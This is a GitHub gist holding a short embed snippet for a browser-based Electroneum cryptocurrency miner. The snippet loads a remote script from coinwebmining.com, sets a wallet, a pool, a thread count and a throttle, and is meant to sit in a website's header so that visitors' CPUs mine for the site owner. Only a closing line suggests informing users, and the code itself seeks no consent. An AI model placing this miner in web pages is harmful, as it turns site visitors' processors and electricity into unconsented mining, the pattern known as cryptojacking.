Last active
June 1, 2018 04:31
-
-
Save coinwebmining/e01b22327a4b894fca0a069c969a7225 to your computer and use it in GitHub Desktop.
Electroneum Javascript Miner (CryptoNightV7)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://coinwebmining.com/cwm.js"></script> | |
<script> | |
var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website | |
var coin = 'electroneum'; | |
var wallet = '{yourWalletAddress}'; | |
var password = 'x'; | |
var mining_pool = 'pool.electroneum.hashvault.pro:80'; //or check https://coinwebmining.com/browser-miner/electroneum for more mining pools | |
var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16. | |
var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining. | |
var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works. | |
cwm_start(site_id, coin, wallet, password, mining_pool, threads, throttle, debug); //Enjoy mining ;) | |
</script> |
30.5.2018 - Miner is updated to work with Electroneum network update (V7 algo).
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Simple Javascript Electroneum miner which you can embed in your website html header to start mining using your visitors cpu power. Don't forget to inform your users on miner running.